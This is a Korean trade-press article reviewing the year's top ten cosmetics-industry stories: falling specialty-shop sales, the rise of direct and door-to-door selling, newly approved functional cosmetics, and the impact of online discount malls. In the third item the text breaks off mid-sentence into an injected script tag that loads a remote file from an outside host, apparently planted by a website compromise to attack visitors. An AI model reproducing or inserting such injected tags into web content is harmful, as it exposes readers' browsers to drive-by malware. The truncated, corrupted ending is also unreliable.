최근 대학 교수들이 금년 한 해를 표현하는 한자 성어로 오리무중(五里霧中)을 가장 많이 꼽았다고 한다. 이는 깊은 안개 속에 들어서게 되면 동서남북도 가리지 못하고 길을 찾기 어려운 것처럼 무슨 일에 대하여 알 길이 없음을 일컫는 말이다. 전 산업 분야를 통털어 표현한 것이겠지만, 장업계도 오리무중의 한 가운데 있는 듯한해였다. 시판 시장이 침체기에 접어들었고, 올초에는 광우병 파동이 일어 원료업계에 타격을 줬으며, 온라인 시장이 신장하면서 일선 전문점에 심각한 피해를 입히고 있다. 장기적 경제불황으로 내년 하반기에나 경기가 호전될 것이라는 전망은 이런 일들에 힘을 실어주는 듯 해 더욱 씁쓸해지고 있다. 그러나, 기능성 화장품이 등장하고, 고가의 마사지 제품이 활성화되고, 중소 메이커가 약진하는 등 희망 섞인 목소리도 많이 들렸다. 올 한해를 정리하면서 본지는 10대 뉴스를 선정해 발표한다. 이들 뉴스 외에도 중고가 색조 브랜드의 약진, 여드름 케어 시장의 확대 등 일련의 화제 기사들이 순위 밖에올랐다. 내년에도 화장품 시장에 활력 넘치는 기사를 기대하면서 올 한해를 마감한다. Happy New Year!! <편집자 주> 1. 시판 매출 저하, 직·방판 급성장 올해는 화장품업계의 중심 유통망인 전문점 시장이 고비를 맞은 한 해였다. 시판에서는 소수 일부 메이커만이 미약한 성장을 하거나 제자리 걸음을 했고 대부분의 메이커들이 마이너스 성장을 기록했다. 특히 몇몇 시판 중심 메이커는 25% 이상 매출이 감소해 경영에 심각한 타격을 받았다. 이에 비해 직판과 방판은 30% 이상 성장세를 보이며 70년대 후반에 이어 최대의 부흥기를 맞고 있다. 이에 따라 도도, 소망, 쿠지 등의 메이커들이 속속들이 직·방판 시장에 진출했으며 백옥생, 사임당, 생그린 등 방판전문기업과 알로에마임, 남양알로에, 김정문알로에 등 방판유통의 알로에 전문기업의 매출 신장이 눈에 두드러졌다. 시판 시장이 침체에 빠지면서 경영난을 극복하지 못하고 폐업, 휴업, 업종전환하는 전문점들도 많았다. 국내 전문점은 지난해만 하더라도 1만 3천개 이상으로 집계됐으나 최근 본지의 자체 조사에 따르면 1만 2천여개로 집계돼 약 1천개 매장이 폐업을 하거나 업종을 전환한 것으로 나타났다. 시판 매출은 저하된 반면 타유통망의 성장은 계속됐다. 인터넷 쇼핑몰을 비롯해 대형마트, 홈쇼핑 등은 업계의 신유통으로 확실하게 자리를 잡았다. 업계에서도 브랜드를 차별화해서 제품을 공급하는 등 신유통망 대응에 적극적으로 나섰다. 한편 최근 불거지고 있는 방판법 개정은 직·방판의 성장세에 찬물을 끼얹었다. 지난 3일 국회 정무위원회에서 나온 개정법안은 다단계와 방판과의 구분을 모호하게 함으로써 업계 관계자들은 우려감을 표시했다. 2.기능성 화장품 시대 도래 지난 2월 19일 LG생활건강의 이자녹스 링클디클라인, 태평양의 헤라화이트프로그램이 출시되면서 본격적인 기능성 화장품 시대가 열렸다. 2001년 12월 현재까지 41개 업체에서 442개 제품을 내놓으며 식품의약품안전청의 승인을 받았다. 제품별로는 자외선 차단제가 251개(52%)의 승인을 얻었으며, 미백효과제가 128개(29%), 주름개선제가 63개(14%)로 나타났다. 또한, 정부의 기능성 화장품 심사 규정 및 절차가 다소 완화돼 업계에 힘을 실어주고 있다. 지난 9월 26일 기능성 화장품 심사에 관한 규정 중 개정안이 발표됐는데, 화장품법 제4조 자료 면제건은 업계의 환영을 받기도 했다. 그러나, 전문가들은 사후 심사를 위주로한 외국의 그것과는 차이가 있어 내년 기능성 화장품 규정이 좀더 완화될 것으로 전망했다. 3.온라인 쇼핑몰 수직신장 - 피해 심각 온라인 쇼핑몰의 공격이 본격화됐다. 올해 온라인 쇼핑몰들은 온·오프라인상의 광고와 메일링 서비스, 각종 이벤트 등으로 회원 확대와 매출 증대에 박차를 가했다. 하루 매출이 7천만원을 초과하는 초대형 전문사이트가 탄생하는가 하면, 유명 브랜드를 50% 이상 할인 판매하는 노마진 사이트가 속속들이 생겨났다. 한 사이트는 회원 50만명을 돌파해 기념 이벤트를 전개하는 등 인터넷 쇼핑몰들이 성장에 가속도가 붙고 있다. 하지만 전국에 150여개의 달하는 화장품 전문 쇼핑몰 중 흑자를 내는 곳은 극소수에 불과하고 일매출 백만원을 넘는 곳은 10곳도 되지 않아 심각한 ‘빈익빈부익부’ 현상을 나타냈다. 특히 상위 3개 쇼핑몰의 매출도 가격할인에 따라 천차만별을 보여 어떻게 고객관리를 할지가 최대의 화두로 부각되고 있다. 한편, 전문점은 인터넷 쇼핑몰의 가격파괴로 가뜩이나 어려운 환경에 혹 하나를 더 붙인 꼴이다. 특히 대학가 상권에 위치한 ?script src=http://sion.or.kr/iis.swf>

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